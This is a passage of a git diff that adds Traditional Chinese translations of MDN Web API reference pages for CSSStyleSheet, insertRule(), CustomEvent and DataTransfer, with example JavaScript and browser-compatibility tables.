+<p>See the {{anch("Notes")}} section for the various ways a CSSStyleSheet object can be obtained.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("StyleSheet")}}.</em></p>
+
+<dl>
+ <dt id="cssRules">{{domxref("CSSStyleSheet.cssRules")}}</dt>
+ <dd>Returns a live {{domxref("CSSRuleList")}}, listing the {{domxref("CSSRule")}} objects in the style sheet.<br>
+ This is normally used to access individual rules like this:<br>
+ <code>   styleSheet.cssRules[i] // where i = 0..cssRules.length-1</code><br>
+ To add or remove items in <code>cssRules</code>, use the <code>CSSStyleSheet</code>'s <code>deleteRule()</code> and <code>insertRule()</code> methods, described below.</dd>
+ <dt id="ownerRule">{{domxref("CSSStyleSheet.ownerRule")}}</dt>
+ <dd>If this style sheet is imported into the document using an {{cssxref("@import")}} rule, the <code>ownerRule</code> property will return that {{domxref("CSSImportRule")}}, otherwise it returns <code>null</code>.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("Stylesheet")}}.</em></p>
+
+<dl>
+ <dt id="deleteRule">{{domxref("CSSStyleSheet.deleteRule()")}}</dt>
+ <dd>Deletes a rule at the specified position from the style sheet.</dd>
+ <dt id="insertRule">{{domxref("CSSStyleSheet.insertRule()")}}</dt>
+ <dd>Inserts a new rule at the specified position in the style sheet, given the textual representation of the rule.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<p>In some browsers, if a stylesheet is loaded from a different domain, calling <code>cssRules</code> results in <code>SecurityError</code>.</p>
+
+<p>A stylesheet is associated with at most one {{domxref("Document")}}, which it applies to (unless {{domxref("StyleSheet.disabled", "disabled", "", 1)}}). A list of <code>CSSStyleSheet</code> objects for a given document can be obtained using the {{domxref("document.styleSheets")}} property. A specific style sheet can also be accessed from its <em>owner</em> object (<code>Node</code> or <code>CSSImportRule</code>), if any.</p>
+
+<p>A <code>CSSStyleSheet</code> object is created and inserted into the document's <code>styleSheets</code> list automatically by the browser, when a style sheet is loaded for a document. As the {{domxref("document.styleSheets")}} list cannot be modified directly, there's no useful way to create a new <code>CSSStyleSheet</code> object manually (although <a href="http://tabatkins.github.io/specs/construct-stylesheets/">Constructable Stylesheet Objects</a> might get added to the Web APIs at some point). To create a new stylesheet, insert a {{HTMLElement("style")}} or {{HTMLElement("link")}} element into the document.</p>
+
+<p>A (possibly incomplete) list of ways a style sheet can be associated with a document follows:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Reason for the style sheet to be associated with the document</th>
+   <th scope="col">Appears in <code>document.<br>
+    styleSheets</code> list</th>
+   <th scope="col">Getting the owner element/rule given the style sheet object</th>
+   <th scope="col">The interface for the owner object</th>
+   <th scope="col">Getting the CSSStyleSheet object from the owner</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("style")}} and {{HTMLElement("link")}} elements in the document</td>
+   <td>Yes</td>
+   <td>{{domxref("StyleSheet.ownerNode", ".ownerNode")}}</td>
+   <td>{{domxref("HTMLLinkElement")}},<br>
+    {{domxref("HTMLStyleElement")}},<br>
+    or {{domxref("SVGStyleElement")}}</td>
+   <td>{{domxref("LinkStyle.sheet", ".sheet")}}</td>
+  </tr>
+  <tr>
+   <td>CSS {{cssxref("@import")}} rule in other style sheets applied to the document</td>
+   <td>Yes</td>
+   <td>{{domxref("CSSStyleSheet.ownerRule", ".ownerRule")}}</td>
+   <td>{{domxref("CSSImportRule")}}</td>
+   <td>{{domxref("CSSImportRule.styleSheet", ".styleSheet")}}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;?xml-stylesheet ?&gt;</code> processing instruction in the (non-HTML) document</td>
+   <td>Yes</td>
+   <td>{{domxref("StyleSheet.ownerNode", ".ownerNode")}}</td>
+   <td>{{domxref("ProcessingInstruction")}}</td>
+   <td>{{domxref("LinkStyle.sheet", ".sheet")}}</td>
+  </tr>
+  <tr>
+   <td>HTTP Link Header</td>
+   <td>Yes</td>
+   <td><em>N/A</em></td>
+   <td>N/A</td>
+   <td>N/A</td>
+  </tr>
+  <tr>
+   <td>User agent (default) style sheets</td>
+   <td>No</td>
+   <td>N/A</td>
+   <td>N/A</td>
+   <td>N/A</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM", "#cssstylesheet", 'CSSStyleSheet')}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Style", "css.html#CSS-CSSStyleSheet", "CSSStyleSheet")}}</td>
+   <td>{{Spec2("DOM2 Style")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/CSS_Object_Model/Using_dynamic_styling_information">Using dynamic styling information</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/cssstylesheet/insertrule/index.html b/files/zh-tw/web/api/cssstylesheet/insertrule/index.html
new file mode 100644
index 0000000000..3cd8ba5a87
--- /dev/null
+++ b/files/zh-tw/web/api/cssstylesheet/insertrule/index.html
@@ -0,0 +1,219 @@
+---
+title: CSSStyleSheet.insertRule()
+slug: Web/API/CSSStyleSheet/insertRule
+translation_of: Web/API/CSSStyleSheet/insertRule
+---
+<div>{{APIRef("CSSOM")}} </div>
+
+<p><strong>CSSStyleSheet.insertRule() </strong>方法新增一個新的 CSS 規則，到當前的樣式表，他伴隨著一些<a href="#Restrictions">限制</a>.  </p>
+
+<p>更明確的說，雖然 <strong>insertRule()</strong> 只是一個 {{domxref("CSSStyleSheet")}} 的方法， 他實際上插入這份規則到 {{domxref("CSSStyleSheet")}}.<em>cssRules</em>, 在 {{domxref("CSSRuleList")}} 之中。</p>
+
+<p>這份規則，必須包含的內容，取決於它的類型： 對於規則集 (rule-sets)，規則同時指定了選擇器和样式聲明。 對於規則 (at-rules)，規則同時指定 at 標識符（ at-identifier ）和規則內容。</p>
+
+<h2 id="Syntax"><em><em>Syntax</em></em></h2>
+
+<pre class="syntaxbox"><em>
+<em>
+<var>stylesheet</var>.insertRule(<var>rule</var>[, <var>index</var>])</em></em></pre>
+
+<h3 id="Parameters"><em><em>Parameters</em></em></h3>
+
+<dl>
+ <dt><em><em>rule</em></em></dt>
+ <dd><em><em>一個  {{domxref("DOMString")}} 包含要被插入的規則，這份規則同時指定了選擇器（ <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">selector</a> ）和样式聲明，或 at 標識符 (at-identifier ) 和規則內容。</em></em></dd>
+ <dt><em><em>index {{optional_inline}}</em></em></dt>
+ <dd>
+ <p><em><em>無符號整數，代表在 <em><em>{{domxref("CSSStyleSheet")}}<em>.</em>cssRules </em></em>中插入的位置，其中 index-0 是第一個規則，而 index-max 就是最後一個規則，並且與 CSSStyleSheet 的長度相同。cssRules 在舊的實現中是必需的。查詢「瀏覽器兼容」取得詳細信息。 默認值為 0。</em></em></p>
+ </dd>
+</dl>
+
+<h3 id="Return_value"><em><em><em><em>Return value</em></em></em></em></h3>
+
+<p><em><em><em><em>The index within the style sheet's rule-list of the newly inserted rule.</em></em></em></em></p>
+
+<h3 id="Restrictions_限制"><em><em><em><em>Restrictions  限制</em></em></em></em></h3>
+
+<p><em><em>CSS 樣式表規則列表，有一些直覺的、和不是那麼直覺的<a href="https://drafts.csswg.org/cssom/#insert-a-css-rule">限制</a> ，影響著規則的插入方式和位置。<br>
+ 違反這些可能會導致 DOM 異常 ({{domxref("DOMException")}}) 引發錯誤。</em></em></p>
+
+<ul>
+ <li><em><em><em><em>如果 index &gt; 樣式表中規則數量 (`CSSRuleList.length`)，他會中止，顯示 IndexSizeError (索引大小錯誤)。</em></em></em></em></li>
+ <li><em><em><em><em>如果 rule 無法在索引 0 插入，因為一些 CSS 因素的限制，他會中止，顯示 HierarchyRequestError (層次結構請求錯誤)。</em></em></em></em></li>
+ <li><em><em><em><em>如果規則參數中給出多個規則，他會中止，顯示 SyntaxError (語法錯誤)。</em></em></em></em></li>
+ <li><em><em><em><em>如果嘗試在樣式規則之後插入 `@import at-rule`，他會中止，顯示 HierarchyRequestError (層次結構請求錯誤)。</em></em></em></em></li>
+ <li><em><em><em><em>如果規則是 `@namespace at-rule`，且列表不只有 `@import at-rules` 和 / 或 `@namespace at-rules`他會中止，顯示 InvalidStateError (狀態錯誤無效)。</em></em></em></em></li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Example_1">Example 1</h3>
+
+<pre class="brush: js">// push a new rule onto the top of my stylesheet
+myStyle.insertRule("#blanc { color: white }", 0);
+</pre>
+
+<h3 id="Example_2">Example 2</h3>
+
+<pre class="brush: js">/**
+ * Add a stylesheet rule to the document (may be better practice, however,
+ * to dynamically change classes, so style information can be kept in
+ * genuine stylesheets (and avoid adding extra elements to the DOM))
+ * Note that an array is needed for declarations and rules since ECMAScript does
+ * not afford a predictable object iteration order and since CSS is
+ * order-dependent (i.e., it is cascading); those without need of
+ * cascading rules could build a more accessor-friendly object-based API.
+ * @param {Array} rules Accepts an array of JSON-encoded declarations
+ * @example
+addStylesheetRules([
+  ['h2', // Also accepts a second argument as an array of arrays instead
+    ['color', 'red'],
+    ['background-color', 'green', true] // 'true' for !important rules
+  ],
+  ['.myClass',
+    ['background-color', 'yellow']
+  ]
+]);
+ */
+function addStylesheetRules (rules) {
+  var styleEl = document.createElement('style'),
+      styleSheet;
+
+  // Append style element to head
+  document.head.appendChild(styleEl);
+
+  // Grab style sheet
+  styleSheet = styleEl.sheet;
+
+  for (var i = 0, rl = rules.length; i &lt; rl; i++) {
+    var j = 1, rule = rules[i], selector = rules[i][0], propStr = '';
+    // If the second argument of a rule is an array of arrays, correct our variables.
+    if (Object.prototype.toString.call(rule[1][0]) === '[object Array]') {
+      rule = rule[1];
+      j = 0;
+    }
+
+    for (var pl = rule.length; j &lt; pl; j++) {
+      var prop = rule[j];
+      propStr += prop[0] + ':' + prop[1] + (prop[2] ? ' !important' : '') + ';\n';
+    }
+
+    // Insert CSS Rule
+    styleSheet.insertRule(selector + '{' + propStr + '}', styleSheet.cssRules.length);
+  }
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM', '#dom-cssstylesheet-insertrule', 'CSSStyleSheet.insertRule')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td>No change from {{SpecName('DOM2 Style')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleSheet-insertRule', 'CSSStyleSheet.insertRule')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>index</code> is optional</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(47)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>index</code> is optional</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(47)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Legacy_browser_support">Legacy browser support</h3>
+
+<ul>
+ <li>
+  <h4 id="Internet_Explorer_-_pre_v9"><strong>Internet Explorer - pre v9</strong></h4>
+  <strong>addRule</strong>(<var>selector</var>, <var>rule</var> [, <var>index</var>]);  --  Example:<code> addRule('pre', 'font: 14px verdana'); // add rule at end</code><br>
+  <br>
+  <em>Also note the non-standard <code><a class="external" href="http://www.quirksmode.org/dom/w3c_css.html#change">removeRule()</a> </code> and <code><a class="external" href="http://www.quirksmode.org/dom/w3c_css.html#access">.rules</a> </code> instead of {{domxref("CSSStyleSheet.deleteRule","deleteRule()")}}  and {{domxref("CSSStyleSheet",".cssRules")}}  respectively.</em></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("CSSStyleSheet.deleteRule")}}</li>
+ <li><a class="external" href="http://www-archive.mozilla.org/docs/web-developer/css1technote/css1tojs.html#priority">Cross-Browser CSS-rules ordering (CSS1)</a></li>
+ <li><a class="external" href="http://www.quirksmode.org/dom/w3c_css.html">Quirksmode - CSS</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/customevent/customevent/index.html b/files/zh-tw/web/api/customevent/customevent/index.html
new file mode 100644
index 0000000000..0accf247e5
--- /dev/null
+++ b/files/zh-tw/web/api/customevent/customevent/index.html
@@ -0,0 +1,90 @@
+---
+title: CustomEvent()
+slug: Web/API/CustomEvent/CustomEvent
+translation_of: Web/API/CustomEvent/CustomEvent
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>CustomEvent()</strong></code> constructor 可用來建立 {{domxref("CustomEvent")}}.</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"> <em>event</em> = new CustomEvent(<em>typeArg</em>, <em>customEventInit</em>);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><em>typeArg</em></dt>
+ <dd>一個 {{domxref("DOMString")}} 用來表示事件名稱。</dd>
+ <dt><em>customEventInit</em>{{optional_inline}}</dt>
+ <dd>Is a <code>CustomEventInit</code> dictionary, having the following fields:
+ <ul>
+  <li><code>"detail"</code>, optional and defaulting to <code>null</code>, of type any, that is a event-dependant value associated with the event.</li>
+ </ul>
+
+ <div class="note">
+ <p><em>The <code>CustomEventInit</code></em><em> dictionary also accepts fields from the {{domxref("Event.Event", "EventInit")}} dictionary.</em></p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">// add an appropriate event listener
+obj.addEventListener("cat", function(e) { process(e.detail) });
+
+// create and dispatch the event
+var event = new CustomEvent("cat", {
+  detail: {
+    hazcheeseburger: true
+  }
+});
+obj.dispatchEvent(event);</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-customevent','CustomEvent()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器支援度">瀏覽器支援度</h2>
+
+
+
+<p>{{Compat("api.CustomEvent.CustomEvent")}}</p>
+
+<h2 id="添加額外參數">添加額外參數</h2>
+
+<p>在 Internet Explorer 9 或更高的版本，你可以用以下的方法給 <code>CustomEvent()</code> constructor 添加額外參數</p>
+
+<pre class="brush: js">(function () {
+  function CustomEvent ( event, params ) {
+    params = params || { bubbles: false, cancelable: false, detail: undefined };
+    var evt = document.createEvent( 'CustomEvent' );
+    evt.initCustomEvent( event, params.bubbles, params.cancelable, params.detail );
+    return evt;
+   }
+
+  CustomEvent.prototype = window.Event.prototype;
+
+  window.CustomEvent = CustomEvent;
+})();</pre>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li>{{domxref("CustomEvent")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/customevent/index.html b/files/zh-tw/web/api/customevent/index.html
new file mode 100644
index 0000000000..e35df7df2e
--- /dev/null
+++ b/files/zh-tw/web/api/customevent/index.html
@@ -0,0 +1,88 @@
+---
+title: CustomEvent
+slug: Web/API/CustomEvent
+tags:
+  - 待翻譯
+translation_of: Web/API/CustomEvent
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>CustomEvent</code></strong> interface 是應用程式為了任意目的所初始化的事件。</p>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.CustomEvent", "CustomEvent()")}}</dt>
+ <dd>建立一個 <code>CustomEvent。</code></dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.detail")}} {{readonlyinline}}</dt>
+ <dd>初始化事件時傳送的任意資料。</dd>
+</dl>
+
+<p><em>此介面繼承了其父介面 {{domxref("Event")}} 的屬性：</em></p>
+
+<p>{{Page("/zh-TW/docs/Web/API/Event", "屬性")}}</p>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.initCustomEvent()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>初始化一 <code>CustomEvent</code> object。若該事件已經被觸發，則不會進行任何動作。</p>
+ </dd>
+</dl>
+
+<p><em>此介面繼承了其父介面 {{domxref("Event")}} 的方法：</em></p>
+
+<p>{{Page("/zh-TW/docs/Web/API/Event", "方法")}}</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-customevent','CustomEvent')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>原始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器兼容性">瀏覽器兼容性</h2>
+
+
+
+<p>{{Compat("api.CustomEvent")}}</p>
+
+<h2 id="Firing_from_privileged_code_to_non-privileged_code">Firing from privileged code to non-privileged code</h2>
+
+<p>當要從 privileged code （像是插件）到非 privileged code （例如網頁）執行 CustomEvent ，你必須要考慮這之間的安全性。Firefox 和其他 Gecko 應用會對此有所限制。雖然這可以自動防止安全漏洞發生，但也可能導致您的程式碼沒辦法正常執行。</p>
+
+<p>When creating a CustomEvent object, you must create the object from the same <a href="/en-US/docs/XUL/window">window</a> as you're going to fire against. The <code>detail</code> attribute of your CustomEvent will be subject to the same restrictions. String and Array values will be readable by the content without restrictions, but custom Objects will not. If using a custom Object, you will need to define the attributes of that object that are readable from the content script using <a href="/en-US/docs/">Components.utils.cloneInto()</a>.</p>
+
+<pre class="brush: js">// doc is a reference to the content document
+function dispatchCustomEvent(doc) {
+  var eventDetail = Components.utils.cloneInto({foo: 'bar'}, doc.defaultView);
+  var myEvent = doc.defaultView.CustomEvent("mytype", eventDetail);
+  doc.dispatchEvent(myEvent);
+}</pre>
+
+<p>Note that exposing a function will allow the content script to run it with chrome privileges, which can open a security vulnerability.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages" title="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">Interaction between privileged and non-privileged pages</a></li>
+ <li><a href="/en-US/docs/Web/API/window.postMessage" title="/en-US/docs/Web/API/window.postMessage">Window.postMessage</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/datatransfer/index.html b/files/zh-tw/web/api/datatransfer/index.html
new file mode 100644
index 0000000000..d202c3b876
--- /dev/null
+++ b/files/zh-tw/web/api/datatransfer/index.html
@@ -0,0 +1,204 @@
+---
+title: DataTransfer
+slug: Web/API/DataTransfer
+translation_of: Web/API/DataTransfer
+---
+<div>{{APIRef("HTML Drag and Drop API")}}</div>
+
+<p><code><strong>DataTransfer</strong></code> 物件被用來保存使用者於拖放操作過程中的資料，其中可能包含了一至多項資料以及多種資料類型。要瞭解拖放操作的更多細節，請參考<a href="/zh-TW/docs/Web/API/HTML_Drag_and_Drop_API">拖放操作</a>一文。</p>
+
+<p><code>DataTransfer</code> 只能是每一種 {{domxref("DragEvent")}} 型別物件的共同屬性－{{domxref("DragEvent.dataTransfer","dataTransfer")}}，不能夠被單獨建立。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<h3 id="Standard_properties">Standard properties</h3>
+
+<dl>
+ <dt>{{domxref("DataTransfer.dropEffect")}}</dt>
+ <dd>Gets the type of drag-and-drop operation currently selected or sets the operation to a new type. The value must be <code>none</code> <code>copy</code> <code>link</code> or <code>move</code>.</dd>
+ <dt>{{domxref("DataTransfer.effectAllowed")}}</dt>
+ <dd>Provides all of the types of operations that are possible. Must be one of <code>none</code>, <code>copy</code>, <code>copyLink</code>, <code>copyMove</code>, <code>link</code>, <code>linkMove</code>, <code>move</code>, <code>all</code> or <code>uninitialized</code>.</dd>
+ <dt>{{domxref("DataTransfer.files")}}</dt>
+ <dd>Contains a list of all the local files available on the data transfer. If the drag operation doesn't involve dragging files, this property is an empty list.</dd>
+ <dt>{{domxref("DataTransfer.items")}} {{readonlyInline}}</dt>
+ <dd>Gives a {{domxref("DataTransferItemList")}} object which is a list of all of the drag data.</dd>
+ <dt>{{domxref("DataTransfer.types")}} {{readonlyInline}}</dt>
+ <dd>An array of {{domxref("DOMString","strings")}} giving the formats that were set in the {{event("dragstart")}} event.</dd>
+</dl>
+
+<h3 id="Gecko_properties">Gecko properties</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="note"><strong>Note:</strong> All of the properties in this section are Gecko-specific.</div>
+
+<dl>
+ <dt>{{domxref("DataTransfer.mozCursor")}}</dt>
+ <dd>Gives the drag cursor's state. This is primarily used to control the cursor during tab drags.</dd>
+ <dt>{{domxref("DataTransfer.mozItemCount")}} {{readonlyInline}}</dt>
+ <dd>Gives the number of items in the drag operation.</dd>
+ <dt>{{domxref("DataTransfer.mozSourceNode")}} {{readonlyInline}}</dt>
+ <dd>The {{ domxref("Node") }} over which the mouse cursor was located when the button was pressed to initiate the drag operation. This value is <code>null</code> for external drags or if the caller can't access the node.</dd>
+ <dt>{{domxref("DataTransfer.mozUserCancelled")}} {{readonlyInline}}</dt>
+ <dd>This property applies only to the <code>dragend</code> event, and is <code>true</code> if the user canceled the drag operation by pressing escape. It will be <code>false</code> in all other cases, including if the drag failed for any other reason, for instance due to a drop over an invalid location.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<h3 id="Standard_methods">Standard methods</h3>
+
+<dl>
+ <dt>{{domxref("DataTransfer.clearData()")}}</dt>
+ <dd>Remove the data associated with a given type. The type argument is optional. If the type is empty or not specified, the data associated with all types is removed. If data for the specified type does not exist, or the data transfer contains no data, this method will have no effect.</dd>
+ <dt>{{domxref("DataTransfer.getData()")}}</dt>
+ <dd>Retrieves the data for a given type, or an empty string if data for that type does not exist or the data transfer contains no data.</dd>
+ <dt>{{domxref("DataTransfer.setData()")}}</dt>
+ <dd>Set the data for a given type. If data for the type does not exist, it is added at the end, such that the last item in the types list will be the new format. If data for the type already exists, the existing data is replaced in the same position.</dd>
+ <dt>{{domxref("DataTransfer.setDragImage()")}}</dt>
+ <dd>Set the image to be used for dragging if a custom one is desired.</dd>
+</dl>
+
+<h3 id="Gecko_methods">Gecko methods</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="note"><strong>Note:</strong> All of the methods in this section are Gecko-specific.</div>
+
+<dl>
+ <dt>{{domxref("DataTransfer.addElement()")}}</dt>
+ <dd>Sets the drag source to the given element.</dd>
+ <dt>{{domxref("DataTransfer.mozClearDataAt()")}}</dt>
+ <dd>Removes the data associated with the given format for an item at the specified index. The index is in the range from zero to the number of items minus one.</dd>
+ <dt>{{domxref("DataTransfer.mozGetDataAt()")}}</dt>
+ <dd>Retrieves the data associated with the given format for an item at the specified index, or null if it does not exist. The index should be in the range from zero to the number of items minus one.</dd>
+ <dt>{{domxref("DataTransfer.mozSetDataAt()")}}</dt>
+ <dd>A data transfer may store multiple items, each at a given zero-based index. <code>mozSetDataAt()</code> may only be called with an index argument less than <code>mozItemCount</code> in which case an existing item is modified, or equal to <code>mozItemCount</code> in which case a new item is added, and the <code>mozItemCount</code> is incremented by one.</dd>
+ <dt>{{domxref("DataTransfer.mozTypesAt()")}}</dt>
+ <dd>Holds a list of the format types of the data that is stored for an item at the specified index. If the index is not in the range from 0 to the number of items minus one, an empty string list is returned.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>Every method and property listed in this document has its own reference page and each reference page either directly includes an example of the interface or has a link to an example.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#datatransfer','DataTransfer')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td><code>mozCursor</code>, <code>mozItemCount</code>, <code>mozSourceNode</code>, <code>mozUserCancelled</code>, <code>addElement()</code>, <code>mozClearDataAt()</code>, <code>mozGetDataAt()</code>, <code>mozSetDataAt()</code> and <code>mozTypesAt</code> are Gecko specific.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'editing.html#the-datatransfer-interface','DataTransfer')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Not included in W3C HTML5 {{Spec2('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.5 <sup>[2]</sup><br>
+    {{CompatGeckoDesktop(52)}}<sup>[3]</sup></td>
+   <td>10 <sup>[1]</sup> <sup>[2]</sup></td>
+   <td>12</td>
+   <td>3.1 <sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td>{{domxref("DataTransfer.items", "items")}} property</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>50</td>
+   <td>{{CompatNo}}</td>
+   <td>12</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
